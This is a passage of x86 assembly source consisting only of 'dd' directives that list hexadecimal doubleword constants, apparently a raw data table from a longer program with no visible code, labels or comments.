		dd 0F5BB856Ch, 0BE4707C3h, 0E7230E9Ah, 8A7CA3C7h, 7DBAA6CCh
		dd 0FF2C26F3h, 30D8341Ch, 654A1C2Bh, 72DC9520h,	0EF0D4E21h
		dd 0DC105253h, 425ED414h, 73D8B220h, 8ACE9142h,	8D341625h
		dd 0FEB304DDh, 13D81523h, 0D5E90F53h, 0AAE995A3h, 5F777763h
		dd 42FDC6A3h, 0BEF9574Ah, 775CE3BCh, 6EAC21E9h,	0B28B39DDh
		dd 0C8AACFB2h, 55F06352h, 0D02EC61Eh, 0EFFC93Bh, 0F5A63ED1h
		dd 6C9BB63h, 9CBD3F9Dh,	0E9F1471Bh, 5B9A21CFh, 0FA1BAA36h
		dd 6ACA3FEBh, 1F976DE4h, 73160121h, 87861705h, 5FDE6216h
		dd 4FBB02DAh, 0F65239Dh, 3665ACF2h, 0CA367FADh,	8C68662Ch
		dd 0C4817438h, 4464BC90h, 1731C256h, 0FC65D1C4h, 0E933299Ch
		dd 52B6D7EDh, 782DE735h, 3026C7D4h, 0E6998232h,	822FDCCh
		dd 23817B04h, 57276A7Fh, 7AF0AE8Ch, 86E84EBFh, 17F33C12h
		dd 3DC5AE7Dh, 9728AF8Ch, 35D14F1Ch, 0F0C331EAh,	0F5A382BAh
		dd 76408E29h, 9B378D9Eh, 76E5CB25h, 31FCBA54h, 24A69879h
		dd 514E926Bh, 9653138Ah, 4B3BBF9Eh, 0DF497F70h,	0B04E250Fh
		dd 0AADA82CFh, 0FB6FB78Ah, 874B3300h, 98DD2BB1h, 0E2AA7455h
		dd 45B61869h, 1B0B3056h, 0BAC60EFBh, 0F34369DCh, 0FA5F409Eh
		dd 0A13284A9h, 0C42F610h, 0DD9931F1h, 1D1884E3h, 9988A41Ah
		dd 204F82Fh, 0A09AA02Fh, 2F241519h, 9569BBF2h, 8E95B5FAh
		dd 0DB5D9D5Eh, 6F2C66BDh, 21996D10h, 0E55AFB73h, 0F10E59F5h
		dd 3B000178h, 7406EF3Eh, 0BB063B27h, 658784E4h,	470630FFh
		dd 0C946B92Ah, 0E26A0458h, 0E6D560CCh, 0AD926F6Fh, 60F63DAh
		dd 0B6BB36FDh, 8B118646h, 7A606E33h, 0E3887E57h, 79E8CBFFh
		dd 6DCA793Dh, 0CB8A4E90h, 0BB8CCB7h, 0C2D6911h,	0E94AD37Fh
		dd 0B47C59ECh, 8265A756h, 0DACD3C1Dh, 2B21206Fh, 435A4F80h
		dd 4BA01E82h, 3EB71618h, 879282E8h, 3114FC12h, 0C3C6AAA9h
		dd 0D76290B5h, 3B895258h, 1667EC3Dh, 999BD0C9h,	0CDD5D662h
		dd 0ADE589FFh, 0B7A32E7Bh, 0FD5F84C2h, 1150429Ch, 15BFA466h
		dd 414AD152h, 0E2CB3BD4h, 6804A61Fh, 0EDCE1183h, 7F4EEB17h
		dd 1B1F5279h, 0E0D35CDDh, 0D71FA4E3h, 3FB6E07Dh, 0AA463E05h
		dd 80E830B1h, 9593569Bh, 8E5BE94Eh, 0D595E8C3h,	4D3213BEh
		dd 0B3B0733Dh, 0DBA5E7CCh, 3242C429h, 789AB940h, 5F9C7932h
		dd 9C84D65Fh, 0E0EAC622h, 0F0F4680Eh, 37E8B160h, 8AFCC79Dh
		dd 0D7D2ACD7h, 0BE1ACE2h, 55DEBB6Fh, 0A4D99269h, 65CBF261h
		dd 873B1309h, 0E06E8576h, 58E01439h, 0E1D3951Ch, 0CFF64FABh
		dd 0E1C69107h, 0CD0F1F91h, 0FAE749A6h, 7CA428DEh, 0F4647F43h
		dd 0D819BA4Bh, 60820248h, 0CD08AEA0h, 16A2465Ch, 6660D528h
		dd 0FF1A77CCh, 983C8EADh, 0D01129A8h, 78584D78h, 376EEEAAh
		dd 11E27EA3h, 47CE499Bh, 0E4483D90h, 0DC5457FCh, 18EA5EC1h
		dd 619FE22h, 3E14BA5Ah,	7D2F8996h, 6DE57AE3h, 56943607h
		dd 0BA9FEA01h, 21E1BD57h, 0A4DCC871h, 22C8A892h, 369963FDh
		dd 13B58DD1h, 0E242EE3Fh, 0DF9512A3h, 4958A60Eh, 0A94C1520h
		dd 2DBFD8B9h, 0B0636FDAh, 156AC9B5h, 2CC7A1C2h,	9DF66BD0h
		dd 73A80A93h, 53013CD0h
		dd 0F4573D95h, 0DDA49784h, 0E6F57E79h, 5258965Ch, 6E5A6A1Ah
		dd 0C143541Bh, 4B625DBh, 6EE34FDBh, 874C3B07h, 0DF9495FCh
		dd 0E90B75ECh, 85D65F29h, 0AE1DDD0Ch, 0C67040CDh, 2D2D492Ch
		dd 0E6D5FB35h, 59EAA62Dh, 152A3E13h, 1A298624h,	0F2AD1B1Eh
		dd 8249FF20h, 0DA98A01Bh, 40B94A4Ch, 4614AA26h,	10E63F45h
		dd 8CDF0F8Eh, 2BD6EAB8h, 7DF56ADDh, 898706DAh, 57FA21F8h
		dd 0F901E4B8h, 12EAD145h, 892ACF6Ah, 0E10C6834h, 8E7E8CFh
		dd 8F99D9D9h, 1A87002Dh, 0F51204A7h, 0D59E3DF9h, 8479CFB2h
		dd 0F0FF4B03h, 2C23EE43h, 4EC1D5F7h, 0E87A679Ah, 5222B1E0h
		dd 0D6726621h, 0B29E8F31h, 6A41A461h, 0ECC443E3h, 1FC1A7A2h
		dd 85AE1A99h, 0FA2C6DB5h, 0B8AE4813h, 0D1E8061Ch, 0F453428Eh
		dd 2F2DE015h, 78D0B4D9h, 543790F5h, 2CAB2E9Dh, 0DB1BA55Ch
		dd 9339C673h, 43F7A65Dh, 0E96AAAF7h, 7228A3C0h,	42CA30ADh
		dd 0C22BA616h, 0F9E5D84Ah, 421DCDF7h, 54E1287Dh, 76D93D7Ah
		dd 0FC712293h, 517373B6h, 5D0BC73Bh, 6C015751h,	5D56188Ah
		dd 11A53EBDh, 0ACE89BAAh, 509A586Dh, 41EE85FEh,	8E0509E6h
		dd 6CB9E67Bh, 0E85142CAh, 486A14C3h, 0C9AD6A99h, 26F36C17h
		dd 1990A13Eh, 208F7ACAh, 0DA139425h, 9D0C022Dh,	8EF7A352h
		dd 9D2667BDh, 53CE8706h, 0AC03017Ah, 87CBCE9Bh,	0C732416Fh
		dd 0F5D3DD6Ah, 0ABDAE136h, 5235DEDAh, 2951EC54h, 233FB408h
		dd 0E03E024Fh, 0CE2E2B95h, 0AFD4646Bh, 0D7B1D738h, 0C97CA6EBh
		dd 0B2EB757Eh, 53075E48h, 0EE4E0035h, 96932905h, 1112997Bh
		dd 5E1DA5B7h, 7B244E85h, 0A97295D0h, 78FB0DC8h,	6122E80Ch
		dd 16714669h, 274FC357h, 0F74B3663h, 0A120B462h, 0FFA792A5h
		dd 391A011h, 155A4A6h, 737F4FEh, 2BDE65F1h, 3A11388Ah
		dd 18441EAh, 6E2ECD7Eh,	0FD2EC2A7h, 0D04AA2A8h,	0E663EBD9h
		dd 0ED4BCD88h, 8E641B5Eh, 74C00A88h, 1EB9CE64h,	0A1360EBh
		dd 431B5D05h, 0E7DA052Fh, 8E7EE8F5h, 4C635DE4h,	875AE110h
		dd 5451E46Ah, 0F33E4B12h, 1182664h, 55A615F7h, 9207097h
		dd 0AB9CEC2Bh, 1CF0EE32h, 2A4827FAh, 65675FC1h,	0A75D0874h
		dd 0C15837DBh, 5B88EC0Bh, 98BBDE54h, 0AF4DFE3Fh, 0F2BF98ECh
		dd 3467AFDCh, 0A3203660h, 39C0E3F3h, 96ECF08Ah,	0D2A5EDC5h
		dd 0D0E71A9Dh, 96F8576Ah, 0A876A088h, 0A0AE5F65h, 5F7BBBE6h
		dd 45107D2Bh, 500DC5A1h, 0F7492238h, 0C090C537h, 63EF68BFh
		dd 62765D7Fh, 0A448B82Ah, 69E92BC2h, 0E4D7FE35h, 0E70DDDD2h
		dd 0A8433E99h, 4477F1F3h, 0CC906F61h, 9E4B2E90h, 0D7991BB9h
		dd 40D6080Ah, 8A3E7732h, 0F8DBADDAh, 6A7D7FFBh,	0D18B50F0h
		dd 3E4D45E1h, 1E49CCF8h, 7EC9375h, 99248A4Fh, 0A05F280Ch
		dd 6689502Eh, 0DF8939E2h, 0DEEE0E07h, 6D417F17h, 871BD38Eh
		dd 73C9804Ch, 4299B5C4h, 0B3D44A45h, 0DFDD2177h, 1ADCF531h
		dd 6BEBBC23h, 43ADE409h, 160F3FA4h, 411CBB26h, 9994B208h
		dd 0C2DCBE26h, 99C3E25Ch, 251FC8B2h, 0FA77BE12h, 43888520h
		dd 0EEF19084h, 644AF1BAh, 38044523h, 0C54CE8E3h, 0FCAD5382h
		dd 34D13A66h, 2CEC9D72h, 85F80E84h, 0B17A00E6h,	9E776441h
		dd 0DA833496h, 0AFC6CB2Dh, 0ED54D62Bh, 0AB030C8Fh, 59C4D67Bh
		dd 86137EF9h, 0B5352F9Fh, 0B95CF585h, 34423E75h, 0FFA96A26h
		dd 1668482Fh, 2F00597Dh, 0E1A23658h, 61F22FDAh,	91540DFEh
		dd 8C2F0E36h, 26AD50F4h, 4F50A3E1h, 0DAC504E0h,	5017F81Ch
		dd 0E877D7CCh, 0BE97CE4Ah, 7D4A6E22h, 19C44046h, 20D215E0h
		dd 1F5B5455h, 0D04C97BBh, 0DA12B321h, 0A083AE71h, 0B4D72492h
		dd 0FF19F39h, 1381BA17h, 71010BB1h, 0C0F3D531h,	0A2C2B2D6h
		dd 0D67F3AA7h, 0A152BEB1h, 0E30AACEFh, 4B61CFBCh, 1C994C67h
		dd 4177C26Ch, 5FF2C050h, 5853D8D1h, 0D5D0BB14h,	72EF3F5Eh
		dd 948B0EF7h, 2ABD0272h, 6FA9F877h, 62EEFF37h, 16E78477h
		dd 219B479Fh, 2A52F94Bh, 0A2222273h, 0C7D09C81h, 79E5ABFEh
		dd 661824C6h, 0A6F39F82h, 3C94D2CAh, 9151B97Dh,	0C3C90AFDh
		dd 892B14CEh, 432F297Ah, 2D9DED8Eh, 0AE8203FDh,	0FFDDF761h
		dd 36810515h, 893FA244h, 0E3A899C8h, 0B017C0D6h, 10CF85A9h
		dd 532E2E43h, 0ABC1E759h, 0A229CA9Bh, 0F2D0D160h, 9FA65935h
		dd 56539E41h, 74A54048h, 442AE437h, 0EEBFB712h,	0CF940B83h
		dd 605D2621h, 9A0C39BCh, 0B7B21078h, 5C688AD0h,	3ACC9820h
		dd 48AC0554h, 3451E7BAh, 4C9FFB16h, 760CCC8Dh, 6373D50h
		dd 0E5242E10h, 3FCCC2D2h, 8CACC753h, 0FB5D77BFh, 5E09ECFFh
		dd 2B823114h, 41A6A80Dh, 1F3B8A58h, 893D140Ch, 0D32B8EC9h
		dd 9A790A2Dh, 7A91D5B3h, 0E491D4F3h, 3D8FA591h,	5A31D435h
		dd 4F3681D2h, 0FDBE7C3h, 1AE6CB42h, 0CBE5D8B9h,	0FB0FDF5h
		dd 0D4FCD3FFh, 0F7ED6927h, 16A0449Ah, 9BED1551h, 0E77681F4h
		dd 0A7497D40h, 0F1C63AF5h, 0DB037728h, 0A8BA144Ch, 94895F70h
		dd 39AC745h, 0BA0941C1h, 6A402792h, 0B6C7A750h,	0BDA9137Ch
		dd 53334351h, 42BDFC7Bh, 0BAFA82F9h, 0A44E84DEh, 0D856BD01h
		dd 4574F736h, 0B091E5D2h, 4F45998Dh, 7866D186h,	0AC0AD919h
		dd 97DD51FBh, 0DD81EB23h, 7FF6481Fh, 0FA5C6A14h, 17755B5Eh
		dd 89D9864Bh, 984821EFh, 15A05621h, 21BE5954h, 8FF97A76h
		dd 6443650h, 0D6142E4Ch, 290ABD32h, 4167F1B6h, 8487C607h
		dd 6DA1781Ah, 5C064DB9h, 952721F1h, 7E26BDEEh, 9E01399h
		dd 9FA63830h, 0EDCC325Ah, 0EA1826D7h, 0C6279385h, 0FD9E04A6h
		dd 73E78A1Ah, 0D5BD347Ch, 2B4E3844h, 878D8AF8h,	914EBABAh
		dd 0BFD56446h, 7EC2AF55h, 484DBAB4h, 0B62DBE15h, 86671977h
		dd 84543698h, 0F0312785h, 0A21E31B4h, 0EE517AAEh, 228101C9h
		dd 324FE1D9h, 61D8F941h, 0E33FCAC4h, 15702024h,	0E38BADE0h
		dd 0F79BC79Dh, 10CD2B40h, 0F4115940h, 0F038CF04h, 0C7CE8B4Ah
		dd 30B97265h, 0E75F72AAh, 0F58C5C1Ch, 4C6A349Ch, 5E3EA3FBh
		dd 0F153245Dh, 0B01FCDE5h, 865E66E3h, 7B58159Fh, 578AC147h
		dd 0CF954E2Dh, 93D4AB4Eh, 0E9A987B5h, 8D8B5D5h,	753A195Ah
		dd 2A2AB5D7h, 0EF01EC7Ah, 0D9E1C4D9h, 36238279h, 59A336D3h
		dd 0A5FD2F9Ch, 75759D85h, 338F512Ch, 5AEFDD5Eh,	0FC33AB87h
		dd 69F4A3D5h, 0EBE9D953h, 0D932C9DFh, 0BF740709h, 8AE8C450h
		dd 0D0EFF8D5h, 409DBE73h, 0F6252F55h, 6CDC645Dh, 0D039AFB7h
		dd 0A12E8E0Ch, 655A3468h, 4B16497Ah, 5461B223h,	9D0CEA64h
		dd 0C2BCB102h, 5CA0B5CEh, 779C8251h, 2C8BE2C9h,	0C5DC7B3Bh
		dd 60BA8E4h, 0C44B8801h, 9F7C5212h, 0F685EF97h,	4795E3E4h
		dd 0F629B393h, 4669E911h, 8FF812F6h, 0ED078071h, 1FD23ADAh
		dd 193AC151h, 947F370h,	642C5BC7h, 97BC31CFh, 0DC57FF28h
		dd 0CB6D24E5h, 5517A5ABh, 7208BC02h, 3D27F6CCh,	87F96F7Eh
		dd 3890786Dh, 0C8BEF284h, 0D488E1B1h, 568E04D7h, 0D3809389h
		dd 67F23B62h, 0BB9A08Eh, 0B68B1C18h, 0B34DB06h,	0EBD64866h
		dd 15142B7Fh, 0C084DDh,	0BBA96C4Fh, 81248172h, 0F36FB821h
		dd 0FE5C91FBh, 15F9212Ch, 269107B2h, 0C44FA292h, 0C54C117Fh
		dd 95387426h, 0FEC7F73Eh, 0C962434Ch, 0D3A2EF8Dh, 213C7A2Ch
		dd 0CD949CD2h, 314C8DAEh, 0CBD3CC72h, 7CFDF103h, 640DBD5Ah
		dd 86A7609Ch, 2CA11C69h, 2A7B1E84h, 0CA8F5BECh,	27E41422h
		dd 9106286h, 0AC5A2D61h, 1DC58CAAh, 58B72CC9h, 15AEDCBDh
		dd 2F9BF661h, 8C5FAF5Ch
		dd 0EAAD0CDAh, 0EFB6A0A7h, 0CD6DA50Ch, 3B3C35C9h, 666A3690h
		dd 295CE207h, 14484D8Ah, 0CE534840h, 104BFBC0h,	0D5BC110Bh
		dd 3C2AB9Bh, 0F3129CDDh, 331C5326h, 0B1328828h,	0EC4094B0h
		dd 700BC23Ah, 7ED33813h, 5B34A5B7h, 0B9B87609h,	2AB6C731h
		dd 5FD9DC24h, 3F5D90D2h, 0C1E33B88h, 79C40E30h,	0E336B7C2h
		dd 80E12A71h, 0A1049C6Fh, 6B636767h, 2416FFCAh,	0A8FC5B21h
		dd 0AED11C9Bh, 0E198978Eh, 0CECADFE0h, 1B26D3F8h, 15B197F8h
		dd 0B9EE4DB7h, 0AA4782EBh, 0D0ABEC1Ah, 61D6DFD9h, 0A94CD434h
		dd 2EC293AEh, 9DAA337Fh, 855019AEh, 969EBB1Fh, 0A0671B41h
		dd 6DBFDEE2h, 11DAE35Eh, 2E700EC4h, 0E9CF8E92h,	0E1D63460h
		dd 1227642Bh, 3C5FC973h, 59F39136h, 5FF95714h, 0E96213Ah
		dd 0D519DD43h, 13658830h, 0B2E98AF8h, 64479700h, 0EEFB14DAh
		dd 0B94414B2h, 0F0733BCFh, 672E33Fh, 6EEDEA03h,	366665E1h
		dd 0AF6AEDCFh, 0A08C6068h, 0A55F9093h, 58CA810Bh, 0BA214F4h
		dd 66545154h, 0BC846749h, 1B3A15A0h, 5C1A9103h,	5B56FB09h
		dd 9C9F742h, 0F1EBDF43h, 59AA91EAh, 5FC34EC7h, 0E4A33D71h
		dd 0C2D63F61h, 71724817h, 8DB57F04h, 1A200572h,	0FC8F7AB9h
		dd 13086FD9h, 0CCE9ECAFh, 1EA45586h, 0DD7DB3A3h, 99A51B65h
		dd 60810635h, 0F66AC50Dh, 145CDB63h, 0FED882DDh, 0D1DCF010h
		dd 0D9E078C8h, 187C56A3h, 0A12B799Fh, 44763397h, 7807E79Dh
		dd 6ED9256h, 0F3CE5605h, 0B55124F8h, 0BA386913h, 0CB0379AEh
		dd 6410E2C9h, 9241FFCBh, 0CD6781C6h, 0D76E0CCFh, 615C4706h
		dd 0E2004B53h, 0DFA89FD2h, 0AE0F6EFFh, 0C5C63936h, 0DB8907CEh
		dd 0DD0B3B13h, 35532550h, 70693454h, 0B5DF527Eh, 0AB64FDB2h
		dd 0D2B75301h, 17836928h, 0E11957h, 0AE1CE15Eh,	76A62C76h
		dd 500E041Dh, 0C6E7FCB1h, 0D326B5E4h, 0AAB67F36h, 7AA358A1h
		dd 8D5A5A73h, 0E21E4A9Fh, 9853D9ABh, 54BB5554h,	0B2230240h
		dd 52E5DD33h, 4F00BEB9h, 2C99A6CBh, 3AB46501h, 71D08881h
		dd 9A0BD8AFh, 0D07DA9F6h, 1C9DF854h, 935D36DEh,	0B57F95E3h
		dd 160B82A2h, 0E5747F98h, 0B227EBF1h, 0F2BF9990h, 0B65A111Bh
		dd 3A80194Ah, 335B4DD6h, 0B33EDA18h, 0D9E10A6Bh, 0C6E31ABCh
		dd 93DC2DCBh, 3AD95375h, 0D2044D04h, 0B201C347h, 72E8C58Fh
		dd 884F1426h, 79C90D1Dh, 0E6345089h, 0E25042BDh, 2CB371BCh
		dd 0F88650E8h, 0C550443Dh, 32F766Eh, 0DABA1B86h, 22FFD236h
		dd 4921503Bh, 28BD72ABh, 604C2448h, 0E069ABADh,	3DCD77Bh
		dd 0C5450710h, 3CA5F5D2h, 0C9698439h, 2F634308h, 0AB1A7BB6h
		dd 0A73DD065h, 831925E6h, 0CF56E1A1h, 0FC628D8Fh, 0C5926465h
		dd 0D94BB4Fh, 0FC4DE604h, 0DBF5A5FFh, 8AB32551h, 38590A99h
		dd 6C3E0914h, 0EF8C8912h, 0B1C1CDBEh, 0FE2C788Eh, 0E655D290h
		dd 4DF116FCh, 4C41B868h, 321D3435h, 993323D2h, 1DC8DDCh
		dd 771E0E2h, 7D27B88Ch,	1041B64Dh, 5A061499h, 891FDDBBh
		dd 0B32B14FFh, 3B5405DDh, 0BE68FBB6h, 0FD2AD632h, 4972D6C9h
		dd 89640278h, 747D6F51h, 0C0F8A128h, 0AF1A0925h, 1EA33E73h
		dd 1A3C66DEh, 0E22AA925h, 0C0339DC0h, 799C8826h, 42A8D6EFh
		dd 4A74BF4Dh, 0DCEAE86Eh, 72D964A7h, 9105F644h,	0C2BA706Dh
		dd 0C64810E0h, 104CCB08h, 0FCCA3181h, 0A89D04A5h, 7A0C318Ah
		dd 0B4602113h, 0ED50B35Eh, 609E8169h, 0E9B6AFD8h, 6ECA4107h
		dd 6CD0674Dh, 0CAE7985Fh, 8BC814C0h, 5797BC2Dh,	0C0A6817Fh
		dd 0E68C720Dh, 4E691B88h, 0F02F2D7Fh, 0B7EF6392h, 7A48B3A0h
		dd 5C1129Fh, 784A63B4h,	0C1FF0C86h, 89CCE2D5h, 0D0B71A3h
		dd 770D8979h, 0C2290E2Fh, 0CC4775E3h, 0D13EB559h, 94A1DADDh
		dd 2F230922h, 5D7C85F0h, 0A49347A9h, 73BEDE32h,	9A16085Fh
		dd 0D767CA33h, 394A1DA1h, 0F05F3B47h, 0BADC2E72h, 73AA7F5Ah
		dd 0F3BAF223h, 0FC4D0C5Bh, 9DF483F0h, 673EFF77h, 0F368CC86h
		dd 74517676h, 0B1DAB729h, 1D0ABCB5h, 9F1DAE67h,	4E532BAEh
		dd 5777697Bh, 5039FCEh,	239F9E69h, 8C870A94h, 0D5B1730Eh
		dd 7141A63Bh, 39011828h, 3FD01B6Fh, 716409E6h, 87E2BC84h
		dd 0BE7A032Bh, 5E12380Ch, 8DECDE01h, 1F3D1220h,	0AD21E83Dh
		dd 18D05F93h, 5836D5DEh, 0C5524C8Dh, 6723E44Dh,	23C57361h
		dd 0A7E383F2h, 4EC8F35Eh, 0E76EE9B2h, 0C0875809h, 21D96892h
		dd 959B9C33h, 0E3CDD7FEh, 8100ABEFh, 165C5ADh, 132CC0BEh
		dd 0D1235D7Bh, 0A8544A7Ah, 0B0D0661Bh, 9A07D325h, 0FEF8774Dh
		dd 8D258538h, 85159FB1h, 2BAA7DE1h, 0D9879B63h,	40FBA1FDh
		dd 5B01CF51h, 54EC5F6Bh, 6920A0D5h, 0D81D8705h,	479AD3C2h
		dd 0A84D1A15h, 4FF46D7Ch, 7AC1E395h, 9750F316h,	42BF097Ch
		dd 457D88DBh, 0AE0A1150h, 9318C54Dh, 0A5D50CC6h, 0C0967D0h
		dd 0A48DAFD8h, 0AF713DCh, 639E5426h, 12410200h,	0B2B4753Fh
		dd 0D28A5907h, 0A9E883D9h, 0E261FFF8h, 0DB24E120h, 9663897Ch
		dd 43CC84EAh, 0B216A0E7h, 0F5C4FFC4h, 5A73EC6Dh, 0EF437F59h
		dd 0CCA45B4Dh, 9471B746h, 85B1483Dh, 9A9D3E97h,	22996407h
		dd 78F39F02h, 20AE9DF2h, 0D2CB1438h, 90036314h,	0B9D7261Ah
		dd 0DCD43FF8h, 0B299B78Fh, 9D294FF0h, 9ED401FEh, 0FC71984Ch
		dd 0FC5A8D5Ah, 0AEEA428h, 0C9E31C4Bh, 1EC9E68Ah, 162CCC51h
		dd 0A02141B4h, 0E7C4D576h, 5F4E0557h, 0E706C73Ch, 2D3EC917h
		dd 6F6342B6h, 0C16C1545h, 0BEF10B7Ch, 3177649h,	0FE4AAC27h
		dd 77F2CDCDh, 532AFEEFh, 474A6551h, 81C5A73Bh, 0BCCA4761h
		dd 0C47E6B15h, 77B228AAh, 7144D06Dh, 0E25C366Dh, 5E184EEFh
		dd 7DC0CE16h, 52F19A7Dh, 4DC51A98h, 0BC077F37h,	6A02C8DEh
		dd 6AC164CEh, 0B97B416Dh, 0C594B614h, 6B9913Ah,	5F348DFEh
		dd 0C810779Fh, 71B17660h, 0E9B78E15h, 5F003974h, 5FD4E87Dh
		dd 8428C7DAh, 39E506DAh, 8BD96F62h, 0E915307Ch,	40BE1957h
		dd 715F2033h, 4984531h,	6579C32Ch, 986497E4h, 5349EF6Dh
		dd 79FB8B74h, 35483DB3h, 154C4103h, 0ABB82D66h,	4AAAB657h
		dd 0FEE41B8Dh, 0BD7919CCh, 894D5D4Ch, 3C73D552h, 2456ED95h
		dd 903348BCh, 0F5CF1C63h, 54702445h, 6800D889h,	820FCEEh
		dd 6B575653h, 0A7BBC830h, 8CAA69D0h, 4BFF2EDAh,	49FF667h
		dd 48C89BDCh, 28A39E92h, 0AFBE0457h, 1686827Eh,	3093DBFDh
		dd 0FB5389C4h, 0B7D290ABh, 981E6992h, 56E953F8h, 6938677Bh
		dd 0BECDCD4Eh, 19A6B9C9h, 0AD065712h, 0E4B09EB7h, 0D3457194h
		dd 77356CF6h, 0AD4D4680h, 58CD950Ah, 0C42BC993h, 0FDF0DD0Fh
		dd 0F69B7689h, 704FFFADh, 0D3E2A70Eh, 3DBAC73Eh, 0D4E55931h
		dd 8228AD7Eh, 4FB634FAh, 0BFBA9562h, 293B243Eh,	0E5C83226h
		dd 0A98F0A6Dh, 6E9A3EEBh, 0FA769E6h, 1107D3BEh,	777A73F7h
		dd 328BD8A1h, 0BE121900h, 0CC799E7Ch, 34284520h, 0F6A60D0Eh
		dd 472A37EEh, 34F640C5h, 0EB9FC5BAh, 6562E6C9h,	891D340Eh
		dd 0D6C04324h, 55E6A8Fh, 0F57BD87Bh, 46680261h,	396E88EBh
		dd 5D0D47CCh, 0BC30AC2Fh, 6ABB92A0h, 397AF67h, 0D56523F9h
		dd 83E434EAh, 7B2B6AECh, 0C8C4C732h, 52685390h,	964B06C7h
		dd 0DC2ACD7Eh, 6F8E6D55h, 0EB8F8521h, 3FC88279h, 0F3E40052h
		dd 5479F1BDh, 28475DAFh, 95CDC340h, 7B53CD0h, 380EEAC1h
		dd 2E7DC9D8h, 0EB5F31Fh, 0FC0F783Dh, 4503CC13h,	0BC1AD59Ah
		dd 41723A4Bh, 8D3206A2h, 95A9F4B6h, 5E618F2Dh, 42906C67h
		dd 15CF382h, 758838BFh
		dd 987F2AFFh, 0ECBCE21Bh, 0F7253F6Fh, 779A49E4h, 5065F203h
		dd 0F799F671h, 0CAE3AE26h, 6E4165C4h, 44604F45h, 0CFB3C248h
		dd 0EC15A77h, 0AC377AD8h, 57E77BEFh, 34DD9AEFh,	4BE5EAE9h
		dd 6CC8A70Bh, 79B5359Eh, 4B50D7C6h, 0AC82C6E4h,	1B76FB05h
		dd 23EEDECh, 6FE6E531h,	65F3CF21h, 0D1616B97h, 704D54C8h
		dd 0A999CAD1h, 0FF00D097h, 6E0B7BAEh, 798B1AA4h, 0B735FC4h
		dd 39BA685h, 5BE45B51h,	0D29C602h, 53AB4454h, 2949893Bh
		dd 8144A3E4h, 63012246h, 10C300C3h, 0CECC5844h,	7BF8F531h
		dd 49CDDB5Ah, 1E51E508h, 3B369E14h, 71363484h, 79F713FBh
		dd 99B1A139h, 84B0FB0Dh, 0F4B69FD5h, 848FD373h,	7776C599h
		dd 2E3EE9F0h, 4A488AFBh, 0CA584342h, 2771900Bh,	48F88E28h
		dd 935BC055h, 5F86F487h, 2869D1D2h, 0B18E47E3h,	0B094F64Dh
		dd 0C7961DF2h, 0EA2F1D12h, 3F8280A6h, 0A8C8EAF3h, 7CEEE7C5h
		dd 39CE8FB2h, 3936FA20h, 69D7392Fh, 4B30E851h, 6C82CCCh
		dd 0D1FDD7CBh, 8A959049h, 443A8CB7h, 0FA4BE967h, 7C59F82h
		dd 0ABFEB967h, 116E0A4Eh, 1939D1D9h, 0F31774A1h, 0E5494FE1h
		dd 206CFD53h, 452EB750h, 0B118C2C9h, 0BC3FA5E7h, 9497FCB3h
		dd 856595B2h, 62918059h, 81214CBFh, 0C8209657h,	47E9F105h
		dd 703EB355h, 0DE8E2FA2h, 0E7ECAED0h, 0CAAA3C57h, 35A51B41h
		dd 0E49696B4h, 0A319AA2Ah, 0E3B102B0h, 0FE9D3135h, 40904D76h
		dd 36EE5DCFh, 24F804F7h, 3367B14Eh, 0C9EABF11h,	0CF645A72h
		dd 0FB2B8FA4h, 998EDCB9h, 0EB97F886h, 778D94B6h, 0D599E4F1h
		dd 27AE6B4h, 4143DD1Fh,	94ED854Eh, 6DC209BEh, 0EBBD444Fh
		dd 0B7FA886Fh, 0AF034247h, 254600E0h, 0E636961Ah, 0EDB4369Fh
		dd 3B9AB832h, 573CA2E9h, 66177306h, 9C448288h, 770A638Ah
		dd 0E10DAC17h, 0F1ED72B5h, 6E956D9h, 1E12BDB0h,	684DBBA6h
		dd 646A7DAh, 0F849D185h, 31DEA6B3h, 0DFDDC1A2h,	897126B2h
		dd 0C4A9755Dh, 0C88E3E20h, 0C3DD158Dh, 0A1255184h, 6A7E6882h
		dd 0A0DAF7F7h, 46992922h, 209A5A64h, 151DDADCh,	8CE8FB9Fh
		dd 720032F7h, 74616D2Ah, 6247F377h, 1EB8E2F7h, 0A56E38F5h
		dd 0FB8D2038h, 0A77066BCh, 0B68E6934h, 0CF0E2F4Fh, 0C880B82Bh
		dd 515FE7F1h, 0E459112Eh, 189C9BDDh, 73E008A5h,	887B66B1h
		dd 0E9C3C88Dh, 6EBA4F6Dh, 0A2751259h, 35B1341Fh, 4DD71B00h
		dd 2D3A466Ch, 9900220Bh, 0A6C65679h, 9A8394ECh,	5FB85C50h
		dd 5CF503A2h, 0B0614A2Fh, 0ED2D0B0Ah, 52F73D03h, 27318A38h
		dd 65A10CCEh, 5B01F564h, 6530805h, 1FAD09CDh, 1B298BC9h
		dd 0F0519793h, 0F2C40E22h, 54E9D756h, 3C6DCB7Ch, 0FF487FF4h
		dd 0C1D9D1C9h, 17893BBCh, 35A0A054h, 0B7C7976h,	0EFE1FFD8h
		dd 0CC6FAE6Eh, 0BECDBC3Bh, 1395D3Fh, 8BE7C8E9h,	0BB6D6F28h
		dd 3EEB61Eh, 0ACDE420Eh, 0D3B6491Ah, 73010B54h,	3FA35AF9h
		dd 36D92103h, 0EF2C3319h, 64020FB2h, 65C7526Bh,	1B5F595Ah
		dd 625F2FB0h, 96EA677Ch, 2FD65691h, 0EE79A292h,	8AC9A191h
		dd 5565CFFDh, 0DF9F2717h, 1F95FA50h, 0F98D5955h, 7A12FFEDh
		dd 6C15DC77h, 0A2643E52h, 0A6CA56B3h, 45CE45C4h, 94FBC266h
		dd 0F97609BEh, 8192AF8Ch, 95EA7F13h, 1031A210h,	5FA46E04h
		dd 1E2622DEh, 0C7D74728h, 5CA9848Ch, 0F27F1011h, 966CA1B3h
		dd 0AEE94D4Ah, 71F0Bh, 60EA458h, 0ED1612A2h, 0F309DC60h
		dd 0E6B7634Fh, 0FA8A6477h, 0B9036D7Ch, 4606F6F7h, 29AD6AF0h
		dd 79118789h, 0C4A2734Fh, 0ED2E7240h, 0D746215Dh, 5D3E2203h
		dd 1428F5B1h, 53F401F7h, 0A78D4A21h, 85864A35h,	86CF16D3h
		dd 75C9AF9h, 0FB2FD1E5h, 8678ABB0h, 58A9FF56h, 0A8F6E689h
		dd 0A597B18Bh, 991D2C6Ah, 0B45C9926h, 0EF422E16h, 30670C34h
		dd 0CCB7CDCDh, 189BB555h, 1251172Dh, 6A9A347Bh,	52289505h
		dd 7F8EB25Ah, 0B3D6541Ch, 0DFD981C7h, 0B6F73E4Ah, 0A0A2C42Dh
		dd 73FC5FC2h, 51B1E2A9h, 3060A1D9h, 685EE466h, 96EEA9D8h
